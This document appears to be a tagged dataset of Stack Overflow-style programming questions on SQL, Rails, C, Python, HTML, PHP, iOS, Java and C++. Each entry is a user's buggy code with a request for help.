how to return the row with the highest sum of two columns   i m making a program that automatically suggests which player to pick based on who has the highest sum of two attribute scores  for example  goals scored &amp; goals saved. as such i have a table (players) that looks something like this:   <pre><code>+---------------+--------------+-------------+ |     name      | goalsscored  | goalssaved  | +---------------+--------------+-------------+ | john smith    |           15 |          12 | | john doe      |           12 |          20 | | bob john      |            7 |           6 | | john bob      |           10 |          30 | | bobby johnson |           25 |          30 | +---------------+--------------+-------------+ </code></pre>   and a temporary table to store the names of already chosen players (taken_players)  which looks something like this:   <pre><code>+-----------------+ | takenplayername | +-----------------+ | bob john        | | bobby johnson   | +-----------------+ </code></pre>   i m looking for the sql query that returns the name of the player with the highest goalsscored + goalssaved  as long is that player is not listed in the table of taken players.    <pre><code>select * from players  left join taken_players on players.name = taken_players.takenplayername  where taken_players.takenplayername is null    and goalsscored  goalssaved in (         select max(goalsscored + goalssaved)          from players   ) </code></pre>   so far i have the above code  which only partially works. the problems i m experiencing are that the    <pre><code>goalsscored  goalssaved in (select max(goalsscored + goalssaved) </code></pre>   part of the statement doesn t do what i need it to  i ve just guessed at some code here to illustrate what i would like it to do for the purpose of this quesion.     the other problem is that  if the best player is added to the taken players list  the query returns nothing instead of the next best player.     i m fairly new to this  any help would be greatly appreciated.,sql
ruby on rails: before_validation  in domainpost.rb i have this:   <pre><code>class domainpost &lt; activerecord::base   attr_accessible :content   :additiona  :registerdate  :expiredate  :registerin  :price     belongs_to :user   before_save { |domainpost| domainpost.content = content.downcase }    before_validation :pricecheck    validates :price  allow_blank: false  presence: true    default_scope order:  domainposts.created_at desc     def pricecheck     if  price.blank      price =  no price    end end </code></pre>   and it isnt work when price in post is blank after save is stil blank  any idea what i do wrong,ruby-on-rails
why does this make a pointer from an integer  <pre><code> push(equation  pop(equation) + pop(equation)); </code></pre>   here is the pop i am using   <pre><code>int pop(struct stack *st) {    int c;    if (st-&gt;top == -1)    {       printf( stack is empty );       return null;    }    c = st-&gt;arr[st-&gt;top];    st-&gt;top--;    return c; } </code></pre>   here is the push   <pre><code>void push(struct stack *st  int * c) {    if (st-&gt;top == 99)    {       printf( stack is full );       return ;    }         printf( top = %d\n   st-&gt;top);    st-&gt;top++;         printf( top = %d\n   st-&gt;top);    st-&gt;arr[st-&gt;top] = c; } </code></pre>   it says the second arg for push is making a pointer from an integer without a cast but i do not understand why so if someone could explain it i would appreciate it.,c
are all lines in a rails method run  <pre><code>def login_required         unless current_user             store_location             flash[:notice] = i18n.t( must_be_logged_in )             redirect_to new_user_session_path             return false         end     end </code></pre>   i have this method in a rails app. my question is when will the line <code>return false</code> ever be run     the line before it says <code>redirect_to new_user_session_path</code>.   <pre><code>def admin_required         return false if login_required == false         unless current_user.admin              store_location             flash[:notice] = t( must_be_admin )             redirect_to new_user_session_url             return false         end     end </code></pre>   for clarification this method requires <code>login_required == false</code> (or true).. how will the first method ever return false,ruby-on-rails
typeerror in class definition  i m writing a class like this (simplified) to represent probability distributions. what i want is to initialize the object distribution with only its type and the parameters  and that it has some functions assigned according to its type.   <pre><code>functions = { exp :{                   parameters : [ l ]                    pdf : lambda x p: exp(x/p[0])*p[0]                    cdf : lambda x p: 1-exp(x/p[0]) }                uniform :{                   parameters : [ x1   x2 ]                    pdf : lambda x p: 1/(p[1]-p[0])                    cdf : lambda x p: (x-p[0])/(p[1]-p[0]) }             } class distribution:     def __init__(self dist_type **parameters):         self.dist_type = dist_type         self.parameters = parameters         self.p = [ self.parameters[z] for z in functions[dist_type][ parameters ] ]          for key val in functions[dist_type].items():             if key ==  parameters :                 pass             else                 setattr(self  key  lambda x:val(x self.p))   dist = distribution( exp  l=3.5) </code></pre>   now  when i run type(dist.pdf) i get that is a lambda function  but when i run the function  say dist.pdf(4.0) a typeerror:  list  object is not a callable.    on a side note  how is the style/complexity of the code,python
links not opening in current tab as well as new tab  i have an html template on which i am working and i am trying to put the target blank on the anchor tag but the links are not opening in a new tab as well as the current tab. please also see this <a href= https://nimbus.everhelper.me/client/notes/share/289433/neocxftxmn847utmk9exezxgfkceq0l6/  rel= nofollow >link</a> for refrence.    here is my html section of the page:   <blockquote> <pre><code>&lt;div class= grid &gt;     &lt;div class= item col-md-3 col-sm-4 col-xs-6 &gt;         &lt;a href= #  class= hover-overlay  target= _blank &gt;             &lt;img  alt= project 1  src= images/placeholders/adp8.jpg &gt;             &lt;div class= overlay background-90-a &gt;                 &lt;div class= hidden-xs &gt;                     &lt;p class= title heading-a &gt;                         &lt;span class= highlight &gt;luds&lt;/span&gt;                     &lt;/p&gt;                     &lt;p class= text-center heading-a &gt;                         &lt;strong&gt;alter disco podcast 8&lt;/strong&gt;                     &lt;/p&gt;                     &lt;p class= text-center &gt;                         &lt;i class= fa fa-soundcloud heading-a &gt;&lt;/i&gt;                     &lt;/p&gt;                 &lt;/div&gt;             &lt;/div&gt;         &lt;/a&gt;     &lt;/div&gt;     &lt;div class= item col-md-3 col-sm-4 col-xs-6 &gt;         &lt;a href= https://soundcloud.com/alterdisco/peter-clamat-alter-disco-podcast-7-superhazi-tape  class= hover-overlay &gt;             &lt;img  alt= project 1  src= images/placeholders/500x400-0.jpg &gt;             &lt;div class= overlay background-90-a &gt;                 &lt;div class= hidden-xs &gt;                     &lt;p class= title heading-a &gt;&lt;span class= highlight &gt;peter clamat&lt;/span&gt;&lt;/p&gt;                     &lt;p class= text-center heading-a &gt;&lt;strong&gt;süperhazi tape&lt;/strong&gt;&lt;/p&gt;                     &lt;p class= text-center heading-a &gt;&lt;strong&gt;alter disco podcast 7&lt;/strong&gt;&lt;/p&gt;                     &lt;p class= text-center &gt;&lt;i class= fa fa-soundcloud heading-a &gt;&lt;/i&gt;&lt;/p&gt;                 &lt;/div&gt;             &lt;/div&gt;         &lt;/a&gt;     &lt;/div&gt;     &lt;div class= item col-md-3 col-sm-4 col-xs-6 &gt;         &lt;a href= https://soundcloud.com/alterdisco/claudio-rotunno-alter-disco-podcast-6  class= hover-overlay  target= _blank &gt;             &lt;img alt= project 2  src= images/placeholders/500x400-1.jpg  /&gt;             &lt;div class= overlay background-90-a &gt;                 &lt;div class= hidden-xs &gt;                     &lt;p class= title heading-a &gt;&lt;span class= highlight &gt;cláudio rotunno&lt;/span&gt;&lt;/p&gt;                     &lt;p class= text-center heading-a &gt;&lt;strong&gt;alter disco podcast 6&lt;/strong&gt;&lt;/p&gt;                     &lt;p class= text-center &gt;&lt;i class= fa fa-soundcloud heading-a &gt;&lt;/i&gt;&lt;/p&gt;                 &lt;/div&gt;             &lt;/div&gt;         &lt;/a&gt;     &lt;/div&gt;     &lt;div class= item col-md-3 col-sm-4 col-xs-6 &gt;         &lt;a href= https://soundcloud.com/alterdisco/barbara-boeing-alter-disco-podcast-5-frenetic-movements-for-unusual-people  class= hover-overlay  target= _blank &gt;         &lt;img alt= project 3  src= images/placeholders/500x400-2.jpg  /&gt;         &lt;div class= overlay background-90-a &gt;             &lt;div class= hidden-xs &gt;                 &lt;p class= title heading-a &gt;&lt;span class= highlight &gt;barbara boeing&lt;/span&gt;&lt;/p&gt;                 &lt;p class= text-center heading-a &gt;&lt;strong&gt;frenetic movements for unusual people&lt;/strong&gt;&lt;/p&gt;                 &lt;p class= text-center heading-a &gt;&lt;strong&gt;alter disco podcast 5&lt;/strong&gt;&lt;/p&gt;                 &lt;p class= text-center &gt;&lt;i class= fa fa-soundcloud heading-a &gt;&lt;/i&gt;&lt;/p&gt;             &lt;/div&gt;         &lt;/div&gt;         &lt;/a&gt;     &lt;/div&gt;     &lt;div class= item col-md-3 col-sm-4 col-xs-6 &gt;         &lt;a href= #!portfolio-item-4.html  class= hover-overlay &gt;         &lt;img alt= project 4  src= images/placeholders/500x400-alt004.jpg  /&gt;         &lt;div class= overlay background-90-a &gt;             &lt;div class= hidden-xs &gt;                 &lt;p class= title heading-a &gt;&lt;span class= highlight &gt;phil mill&lt;/span&gt;&lt;/p&gt;                 &lt;p class= text-center heading-a &gt;&lt;strong&gt;alter disco podcast 4&lt;/strong&gt;&lt;/p&gt;                 &lt;p class= text-center &gt;&lt;i class= fa fa-soundcloud heading-a &gt;&lt;/i&gt;&lt;/p&gt;             &lt;/div&gt;         &lt;/div&gt;         &lt;/a&gt;     &lt;/div&gt;     &lt;div class= item col-md-3 col-sm-4 col-xs-6 &gt;         &lt;a href= #!portfolio-item-5.html  class= hover-overlay &gt;         &lt;img alt= project 5  src= images/placeholders/500x400-alt003.jpg  /&gt;         &lt;div class= overlay background-90-a &gt;             &lt;div class= hidden-xs &gt;                 &lt;p class= title heading-a &gt;&lt;span class= highlight &gt;de sena&lt;/span&gt;&lt;/p&gt;                 &lt;p class= text-center heading-a &gt;&lt;strong&gt;alter disco podcast 3&lt;/strong&gt;&lt;/p&gt;                 &lt;p class= text-center &gt;&lt;i class= fa fa-soundcloud heading-a &gt;&lt;/i&gt;&lt;/p&gt;             &lt;/div&gt;         &lt;/div&gt;         &lt;/a&gt;     &lt;/div&gt;     &lt;div class= item col-md-3 col-sm-4 col-xs-6 &gt;         &lt;a href= #!portfolio-item-6.html  class= hover-overlay &gt;         &lt;img alt= project 6  src= images/placeholders/500x400-alt002.jpg  /&gt;         &lt;div class= overlay background-90-a &gt;             &lt;div class= hidden-xs &gt;                 &lt;p class= title heading-a &gt;&lt;span class= highlight &gt;phil mill&lt;/span&gt;&lt;/p&gt;                 &lt;p class= text-center heading-a &gt;&lt;strong&gt;alter disco podcast 2&lt;/strong&gt;&lt;/p&gt;                 &lt;p class= text-center &gt;&lt;i class= fa fa-soundcloud heading-a &gt;&lt;/i&gt;&lt;/p&gt;             &lt;/div&gt;         &lt;/div&gt;         &lt;/a&gt;     &lt;/div&gt;     &lt;div class= item col-md-3 col-sm-4 col-xs-6 &gt;         &lt;a href= #!portfolio-item-7.html  class= hover-overlay &gt;         &lt;img alt= project 7  src= images/placeholders/500x400-alt001.jpg  /&gt;         &lt;div class= overlay background-90-a &gt;             &lt;div class= hidden-xs &gt;                 &lt;p class= title heading-a &gt;&lt;span class= highlight &gt;de sena&lt;/span&gt;&lt;/p&gt;                 &lt;p class= text-center heading-a &gt;&lt;strong&gt;alter disco podcast 1&lt;/strong&gt;&lt;/p&gt;                 &lt;p class= text-center &gt;&lt;i class= fa fa-soundcloud heading-a &gt;&lt;/i&gt;&lt;/p&gt;             &lt;/div&gt;         &lt;/div&gt;         &lt;/a&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre> </blockquote>,html
cannot insert to database in bowling app  i have a problem with my application. there is a bowling game. which to generate the final result to a name. i have a problem to insert into my database    view:   <pre><code> &lt;%= form_for player_index_path(@player) do |f|%&gt; &lt;div class= text_field &gt;     &lt;p&gt;     &lt;%= f.label  spelare namn  %&gt;     &lt;%= f.text_field :name %&gt;     &lt;/p&gt;     &lt;p&gt;      &lt;%= f.submit  lägg till spelare %&gt;     &lt;/p&gt; &lt;/div&gt;   &lt;%end%&gt; </code></pre>   class player &lt; activerecord::base       attr_accessible :name       belongs_to :result    end    controller:   <pre><code>  def create  @player = player.new(params[:player])  if @player.save   render :action =&gt;  index    else  render :action =&gt;  new  end         end </code></pre>   migrationen:   <pre><code>class createplayers &lt; activerecord::migration    def change    create_table :players do |t|         t.string  name          t.references :results        t.timestamps end </code></pre>   end end,ruby-on-rails
different return type with same method signature (focus on usability)  i ve searched for the answer and parsed through a lot of posts  but i m not quite sure i have a full understanding or a solution to my issue.    i m writing a framework for used with codedui and my company s application.  there are scenarios where adding data to a specific field in our application can return one of several message boxes.  i m trying to figure out the best solution to make writing the test cases as simple as possible.  the testers who will be writing the test cases may not have a strong understanding of c#  so i ve attempted to make using the framework simple.  i also want to avoid making the tester resort to casting in the test case.    i ve thought of several solutions  but nothing feels right to me from an end-user perspective.    first  i can just have a void return type and let the tester create an instance of the message box expected.  the problem here is that i m leaving the instantiation up to the tester.  this might be okay and the eventual solution  but i m trying to offload that and let the framework worry about the implementation details.   <pre><code>public class framework {     public void adddata(string data)     {         //...     } }  public class testclass {     public void testcase()     {         var framework = new framework();         framework.adddata( some data );         var message = new message1();     } } </code></pre>   my second choice is the use of generics.  i can just have a base class for all message boxes and let the tester add in what they want.  this seems reasonable and a better solution then the first  but i have two concerns here.  first  there are occasions (though not frequent) where the instantiation of a message requires specific constructor data so the implementation on the framework side for adddata() may require multiple methods (ie. adddata1()  adddata2()...).  second  i have some worry about adding in generics for the end-user.   <pre><code>public class framework {     public t adddata&lt;t&gt;(string data) where t : messagebox  new()     {         return new t();     } }  public class testclass {     public void testcase()     {         var framework = new framework();         var message = framework.adddata&lt;message1&gt;( some data );     } } </code></pre>   lastly  of course  i can have multiple methods with specific return types.  i hate this solution as it feels ugly.   <pre><code>public class framework {     public message1 adddata1(string data)     {         return new message1();     }      public message2 adddata2(string data)     {         return new message2();     } }  public class testclass {     public void testcase()     {         var framework = new framework();         var message1 = framework.adddata1( some data );         var message2 = framework.adddata2( some data );     } } </code></pre>   ideally  i d love to have one method with multiple return types.  i know it s not natively supported  but i m not sure on how to implement a work-around (if that s possible).  something like this:   <pre><code>public class framework {     public message1 adddata(string data)     {         return new message1();     }      public message2 adddata(string data)     {         return new message2();     } }  public class testclass {     public void testcase()     {         var framework = new framework();         var message1 = framework.adddata( some data );         var message2 = framework.adddata( some data );     } } </code></pre>   and of course  i m open to any alternatives i haven t thought of.  thanks in advance.,c#
html interpretation of quotation mark: ` ` vs `”`  can someone explain what s going on for this code to produce green text:   <pre><code>&lt;font color=”red”&gt;red  anyone &lt;/font&gt; </code></pre>   <a href= http://jsfiddle.net/wgsnx/7/  rel= nofollow >http://jsfiddle.net/wgsnx/7/</a>.  i assume it s something to do with the first <code>”</code> symbol  but why should html parse that differently to <code> </code>,html
something s wrong with my php register codes  i ve been trying to create a register page using php and html and once i was finally done and wanted to check if it works  it just reloaded the page and when i checked the database nothing new was in there. here are the codes  in register.php    <pre><code> php  require_once( connect.php );  $errors = array();  if (isset($_get[ submit ])) {  if (empty($_post[ username ])) { array_push($errors   choose a username. ); } if (empty($_post[ email ])) { array_push($errors   choose an email. ); } if (empty($_post[ password ])) { array_push($errors   choose a password. ); }  $old_usn = mysql_query( select id from users where name =   .$_post[ username ].   limit 1; ) or die(mysql_error()); if (mysql_num_rows($old_usn) &gt; 0) { array_push($errors   this username is already taken. ); }  $old_email = mysql_query( select id from users where email =   .$_post[ email ].   limit 1; ) or die(mysql_error()); if (mysql_num_rows($old_email) &gt; 0) { array_push($errors   there is an existing account with this email. ); }  if ($_post[ password1 ] != $_post[ password2 ]) { array_push($errors   the password does not match ); }  if (sizeof($errors) == 0) {  //htmlentities($_post[ username ]  ent_quotes);     $username = htmlentities($_post[ username ]  ent_quotes);     $email = htmlentities($_post[ email ]  ent_quotes);     $password1 = htmlentities(sha1($_post[ password1 ])  ent_quotes);      mysql_query( insert into users (name  hashed_psw  email  joined)     values ( {$username}    {$password}    {$email}   now()); ) or die(mysql_error());      }  }     &gt; </code></pre>   and below that:   <pre><code> &lt;div class= container v-align-transform &gt;                 &lt;div class= row &gt;                     &lt;div class= col-sm-6 col-sm-offset-3 &gt;                         &lt;div class= feature bordered text-center &gt;                             &lt;h4 class= uppercase &gt;register here&lt;/h4&gt;                             &lt; php                              foreach($errors as $e) {                                  echo $e;                                 echo  &lt;br /&gt;\n ;                                  }                              &gt;                             &lt;form class= text-left  action= register.php  method= post &gt;                                 &lt;input type= text  name= username  value=   placeholder= username  /&gt;                                 &lt;input type= text  name= email  value=   placeholder= email address  /&gt;                                 &lt;input type= password  name= password1  value=   placeholder= password  /&gt;                                 &lt;input type= password  name= password2  value=   placeholder= confirm password  /&gt;                                 &lt;input type= submit  name= submit  value= register  /&gt;                             &lt;/form&gt;                             &lt;p class= mb0 &gt;by signing up  you agree to our                                 &lt;a href= / &gt;terms of use&lt;/a&gt;                             &lt;/p&gt;                         &lt;/div&gt;                     &lt;/div&gt;                 &lt;/div&gt;             &lt;/div&gt; </code></pre>   i ve tried finding what s wrong but couldn t find anything.,php
reliable url requests ios   i am about to make an ios pos system  with a web-based backend / dashboard. so  i need to transfer a lot of data from the ios device to the website via url-post requests  transfering in a json format.    however  my question is  how do i do this reliably - so i am sure my data is backed up and nothing is lost  i was thinking of making a url each single time a transaction is made  since by law i need to track each transaction individually.    so each time a transaction is made  i will make a new thread on the ios device and upload (so i don t block useage of the device while it is uploading).    however  what do i do if it fails  is there any sort of system i can use that ensures my data is backed up  i was thinking that this problem has been solved before so instead of trying to solve it ground-up myself  i was hoping to get help.    so - how do you reliably make url requests,ios
how to test rest api request (rails)  i have <code>rest api</code>  for example: i already create rest users  for creating user end point is go to  localhost:3000/users  post method.    so pattern of param should be like this :    <pre><code>:user =&gt; {:name =&gt;  apple   :address =&gt;  heaven } </code></pre>   my question is :     how to create pattern above  then i test it to endpoint post method      i already test with <code>postman</code> client  but failed because my pattern incorrect (miss <code>root : user</code>)    thanks,ruby-on-rails
proxy function works with requests  but not with a chrome browser   i have no idea why the following code returns the proxy as invalid only for the chrome browser help is appreciated. below are the imports.   <pre><code>import requests import json import time import random import threading from threading import thread from selenium import webdriver from selenium.webdriver.support.ui import select from selenium.webdriver.support.ui import webdriverwait from selenium.webdriver.support import expected_conditions as ec from selenium.webdriver.common.by import by from datetime import datetime from proxymanager import proxymanager from random import randint from selenium.webdriver.common.proxy import proxy  proxytype from selenium.webdriver.chrome.options import options  def getproxy():     try:         proxy_manager = proxymanager( proxies.txt )         proxydict = proxy_manager.random_proxy()         proxies = proxydict.get_dict()     except:         proxies = []     return proxies  chrome_options = webdriver.chromeoptions() chrome_options.add_argument( --proxy-server=https://%s  %getproxy) chrome = webdriver.chrome(chrome_options=chrome_options) chrome.get( http://whatismyipaddress.com ) </code></pre>,python
is there any networking app for iphone that can work together with other apps   is there any networking app for iphone that can work together with other apps,iphone
no matching function for call to  cgimagedestinationcreatewithurl   my target links against the imageio framework  and in the file in which i use <code>cgimagedestinationcreatewithurl</code>  i <code>#import &lt;imageio/imageio.h&gt;</code>  and yet i still get said error. any ideas,ios
why my js is not loaded on postback   i have a drop down list which is enhanced trough some js script. this dropdownlist is inside an updatepanel like this:   <pre><code> &lt;asp:updatepanel id= upstoredetails  runat= server  updatemode= always &gt;     &lt;contenttemplate&gt;         &lt;asp:dropdownlist id= droprestaurants  runat= server  cssclass= stylecb  autopostback= true  onselectedindexchanged= ddltenant_selectedindexchanged &gt;         &lt;/asp:dropdownlist&gt;         &lt;uc:popuptenantdescription id= popuptenantdescriptioncontrol  runat= server  /&gt;     &lt;/contenttemplate&gt; &lt;/asp:updatepanel&gt; </code></pre>   i ve already register the script for it:   <pre><code>protected void page_prerender(object sender  eventargs e) {     loadjs(); }  private void loadjs() {     type cstype = this.gettype();     string scriptname =  cufon-yui ;     if (!page.clientscript.isclientscriptincluderegistered(cstype  scriptname))     {         page.clientscript.registerclientscriptinclude(this.page.gettype()  scriptname  virtualpathutility.toabsolute( ~/js/cufon-yui.js ));    } } </code></pre>   which is succesfully inserted when the page is loaded first.    but  on postback (selectedindexchanged event of <code>asp:dropdownlist</code>) the style applied to the drop list is lost... do you see any reason why     thanks!,asp.net
getting callable object from the frame  given the frame object (as returned by <a href= http://docs.python.org/library/sys.html#sys._getframe  rel= nofollow noreferrer >sys._getframe</a>  for instance)  can i get the underlying callable object     code explanation:   <pre><code>def foo():     frame = sys._getframe()     x = some_magic(frame)      # x is foo  now </code></pre>   note that my problem is getting the object out of a frame  not the currently called object.     hope that s possible.    cheers     mh    <b>edit:</b>    i ve somewhat managed to work around this problem. it was heavily inspired by andreas  and alexander s replies. thanks guys for the time invested!   <pre><code>def magic():     fr = sys._getframe(1)     for o in gc.get_objects():         if inspect.isfunction(o) and o.func_code is fr.f_code:             return o   class foo(object):     def bar(self):         return magic()  x = foo().bar()  assert x is foo.bar.im_func</code></pre>   (works in 2.6.2  for py3k replace <code>func_code</code> with <code>__code__</code> and <code>im_func</code> with <code>__func__</code>)    then  i can aggressively traverse globals() or gc.get_objects() and dir() everything in search for the callable with the given function object.     feels a bit unpythonic for me  but works.    thanks  again!    mh,python
android: low profile mode with a keyboard  i have an app that uses <code>low_profile_mode</code> to hide soft buttons. it works quite ok  but when i select a <code>textview</code> and the software keyboard appears on the screen  the <code>low_profile_mode</code> is gone.    is there a way to use android soft keyboard and stay in <code>low_profile_mode</code> on <code>android 5+</code>,android
call method non-static with static in php  i have code look like this:   <pre><code>abstract class object {     public static function __callstatic($name  $parameters)     {         $object = get_called_class();         $object = new $object;         if (method_exists($object  $name)) {             return call_user_func_array(array($object  $name)  $parameters);         }     } }  class log extends object {     public function message($message)     {         echo  log:  .$message. .&lt;br&gt; ;     } } </code></pre>   now  i call:   <pre><code>log::message( test ); </code></pre>   this s result:    strict standards: non-static method log::message() should not be called statically...    log: test.    somebody can help me,php
how to add mbprogresshud in tabbarcontroller  i had <code>tabbarcontroller</code> that will be called in viewcontroller1. i would like to implement <code>mbprogresshud</code>(activity indicator) when user click on the <code>tabbar</code> item   <pre><code>- (void)viewdidload {     [super viewdidload];     // do any additional setup after loading the view.     homevc =[self.storyboard instantiateviewcontrollerwithidentifier:@ homeviewcontroller ];     taskvc=[self.storyboard instantiateviewcontrollerwithidentifier:@ taskncviewcontroller ];     shopvc=[self.storyboard instantiateviewcontrollerwithidentifier:@ shopncviewcontroller ];     walletvc=[self.storyboard instantiateviewcontrollerwithidentifier:@ walletncviewcontroller ];      tabviewcontrollers = [[nsmutablearray alloc] init];     [tabviewcontrollers addobject:homevc];     [tabviewcontrollers addobject:taskvc];     [tabviewcontrollers addobject:shopvc];     [tabviewcontrollers addobject:walletvc];      [self setviewcontrollers:tabviewcontrollers];     homevc.tabbaritem.title=@ home ;     [homevc.tabbaritem setfinishedselectedimage:[uiimage imagenamed:@ home-active.png ] withfinishedunselectedimage:[uiimage imagenamed:@ home.png ]];     [homevc.tabbaritem settitletextattributes:@{uitextattributefont:[uifont boldsystemfontofsize:10]} forstate:uicontrolstatenormal];      taskvc.tabbaritem.title=@ task ;     [taskvc.tabbaritem setfinishedselectedimage:[uiimage imagenamed:@ task-active.png ] withfinishedunselectedimage:[uiimage imagenamed:@ task.png ]];     [taskvc.tabbaritem settitletextattributes:@{uitextattributefont:[uifont boldsystemfontofsize:10]} forstate:uicontrolstatenormal];      shopvc.tabbaritem.title=@ shop ;     [shopvc.tabbaritem setfinishedselectedimage:[uiimage imagenamed:@ shop-active.png ] withfinishedunselectedimage:[uiimage imagenamed:@ shop.png ]];     [shopvc.tabbaritem settitletextattributes:@{uitextattributefont:[uifont boldsystemfontofsize:10]} forstate:uicontrolstatenormal];      walletvc.tabbaritem.title=@ wallet ;     [walletvc.tabbaritem setfinishedselectedimage:[uiimage imagenamed:@ wallet-active.png ] withfinishedunselectedimage:[uiimage imagenamed:@ wallet.png ]]; [walletvc.tabbaritem settitletextattributes:@{uitextattributefont:[uifont boldsystemfontofsize:10]} forstate:uicontrolstatenormal];      //set the status bar to white     [self setneedsstatusbarappearanceupdate];  } </code></pre>,ios
defining and calling custom function  i have a block of code that works perfect:   <pre><code>$db = jfactory::getdbo(); $query = $db-&gt;getquery(true); $query-&gt;select(array($db-&gt;quotename( date ))); $query-&gt;from($db-&gt;quotename( #__webfoot_minutes_and_agendas )); $query-&gt;order( date desc );  $db-&gt;setquery($query); $results = $db-&gt;loadobjectlist(); </code></pre>   until i try to assign it to a function:      <pre><code>function call_db() {     $db = jfactory::getdbo();     $query = $db-&gt;getquery(true);     $query-&gt;select(array($db-&gt;quotename( date )));     $query-&gt;from($db-&gt;quotename( #__webfoot_minutes_and_agendas ));     $query-&gt;order( date desc );      $db-&gt;setquery($query);     $results = $db-&gt;loadobjectlist();         return $results; } </code></pre>   it breaks when i try to call the function  i get an error for $results i get   invalid argument supplied for foreach()...:   <pre><code>call_db();  foreach ($results as $result) {    $datearr = explode( -   $result-&gt;date);        if (!in_array($datearr[0]  $already_echoed)) {          echo  &lt;li&gt;&lt;a href= #tabs-  . $count .   &gt;  . $datearr[0] .  &lt;/a&gt;&lt;/li&gt; ;        $count++;        }      $already_echoed[] = $datearr[0]; } </code></pre>   anyone have any suggestions on how i can straighten out this syntax,php
what are best tools for creating web layout   i use firebug to see the html source of the google translate (http://translate.google.com.vn/) whether is simple (in content).    but it has a very complex layout (so many layout divs). i guess that these pages are designed layout based on a number of softwares support.    i know photoshop  but in general  it’s very difficult to create layout in photoshop  i want to find an easier tool.,html
undefined method `initialize_attributes  for #<class> when object.new  when i update rails from 4.0.0 to 4.2.x（i tried 4.2.1 and 4.2.7），each model s new method raise a expection：   <pre><code>[10] pry(main)&gt; user =&gt; user(id: integer  email: string  encrypted_password: string  reset_password_token: string  reset_password_sent_at: datetime  remember_created_at: datetime  sign_in_count: integer  current_sign_in_at: datetime  last_sign_in_at: datetime  current_sign_in_ip: string  last_sign_in_ip: string  created_at: datetime  updated_at: datetime  admin: boolean  name: string  sex: integer  phone: string  created_by_id: integer  current_project: integer  avatar_file_name: string  avatar_content_type: string  avatar_file_size: integer  avatar_updated_at: datetime)  [11] pry(main)&gt;u = user.new nomethoderror (undefined method `initialize_attributes  for #&lt;class:0x007f9bcda69710&gt; </code></pre>   but everything work fine when i use rails 4.0.0    can someone help me， thx,ruby-on-rails
issue when adding lambda within try block - java 8  in my code i have try/catch block and there i m catching mysql exception. however still its complaining that we need to handle this exception again within foreach loop.     as you can see here for normal for loop(after foreach logic) we dont need to handle it specifically. can someone explain me the logic behind this    <pre><code>try (connection connection = daoutil.getconnection();     preparedstatement statement = connection.preparestatement(query)) {      intstream.range(0  statuses.size())         .foreach(i -&gt; statement.setstring(i+1   statuses.get(i)));     for (int i = 0; i &lt; statuses.size(); ++i) {         statement.setstring(i + 1  statuses.get(i));     }       return constructapisummarylist(statement);     } catch (sqlexception e) {          throw new apimgtdaoexception(e);     }  } </code></pre>   error occurs at <code>.foreach(i -&gt; statement.setstring(i+1  statuses.get(i)));</code>     error message:  unhandled exception: java.sql.sqlexception,java
hide uimenucontroller  want to hide <strong>uimenucontroller</strong> which shows <strong>cut  copy  paste  select  select all</strong> menu.    any one knows how to do it,iphone
sql query design help needed  i am trying to select only one of the records of multiple agregated tables with this query:   <pre><code>select * from table1 c left join               table2 e on c.id=e.id left join                table3 d on e.id=d.id                where c.id=id and (e.id is null or d.id is not null)               group by c.field </code></pre>   when execute this query a sqlexception is launched:   <pre><code>the expression is not in an agreement or columns of the group by </code></pre>   what wrong in the query     thanks,sql
c++ draw a rectangle in different lines  i m trying to draw a rectangle in c++ by using 2 for-loops. everything is fine except the rectangle isn t drawn correctly. can somebody give me a tip  thanks a lot!   <pre><code>#include &lt;iostream&gt; #include &lt;stdlib.h&gt;  using namespace std;  int main(int argc  char *argv[]) {     // variabili      int base1  altezza1;      cout &lt;&lt;  inserisci base del rettangolo: ;     cin &gt;&gt; base1;     cout &lt;&lt;  inserisci l altezza del rettangolo: ;     cin &gt;&gt; altezza1;      cout &lt;&lt;  i dati che hai inserito sono -&gt;   &lt;&lt;  base:  &lt;&lt; base1 &lt;&lt;   e altezza:  &lt;&lt; altezza1 &lt;&lt; endl;      // controllo base e altezza maggiori di zero + scrivo in output il rettangolo con i dati in input     if(base1 &gt; 0 &amp;&amp; altezza1 &gt; 0)     {         for(int i = 0; i &lt; base1; i++)         {             for(int j = 0; j &lt; altezza1; j++)             {                 cout &lt;&lt;  # ;             }         }     }else{         cout &lt;&lt;  errore ;     }     system( pause );         return 0; } </code></pre>   the output is this<a href= https://i.stack.imgur.com/ru1mg.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ru1mg.png  alt= : ></a>    it should be in rows and columns.,c++
error in url.dll error  currently i am developing a system using java. i want to open files (doc  pdf  etc.) by clicking on a <code>jtable</code> row. unfortunately  i get this error from <code>rundll</code>:   <blockquote> <pre><code>error in url.dll missing entry: fileprotocolhandlerc:usersh.m.thaheeddocumentsnew2 </code></pre> </blockquote>   here is my code:     <pre><code> private void jtable1mouseclicked(java.awt.event.mouseevent evt) {                                           int row = jtable1.getselectedrow();      string value = (jtable1.getmodel().getvalueat(row  2).tostring());      try {          //  runtime.getruntime().exec( rundll32 url.dll fileprotocolhandler  + value);         runtime.getruntime().exec( rundll32 url.dll fileprotocolhandler +                 value);         } catch (exception e) {             e.printstacktrace();         }     } </code></pre>,java
how to create copy of database including tables in windows (mysql)  i have a database called my_old_db which consists of some tables   now how to create copy of of this database including tables with new name as my_new_db .    i have tried the following query    <pre><code>create table my_new_db .tab1 like my_old_db .tab1;  insert into my_new_db .tab1 select * from my_old_db .tab1; </code></pre>   but in my old table i have nearly 30 tables   taking more time to copy    dont know the good approach.    any guidence would be really appretiated.     thank you.,mysql
can a derived type be the same name as a nested type of its base   is the following code legal   msvc 9 and g++ 4.4 disagree:   <pre><code>struct base {   struct derived {}; };  struct derived : base {};  int main() {   typedef derived::derived type;   return 0; } </code></pre>   msvc complains  confusing the nested name for the type s constructor:   <pre><code>c:\dev&gt;cl test.cpp microsoft (r) 32-bit c/c++ optimizing compiler version 15.00.30729.01 for 80x86 copyright (c) microsoft corporation.  all rights reserved.  test.cpp test.cpp(10) : error c2146: syntax error : missing  ;  before identifier  type  test.cpp(10) : error c2761:  {ctor}  : member function redeclaration not allowed  test.cpp(10) : error c2065:  type  : undeclared identifier </code></pre>   while g++ does not:   <pre><code>$ g++ --version test.cpp g++ (ubuntu/linaro 4.4.4-14ubuntu5) 4.4.5 copyright (c) 2010 free software foundation  inc. this is free software; see the source for copying conditions.  there is no warranty; not even for merchantability or fitness for a particular purpose. </code></pre>   for context  my code contains an iterator called <code>pointer</code>. to provide the iterator interface  it provides the nested type <code>pointer</code>  which is a synonym for itself.,c++
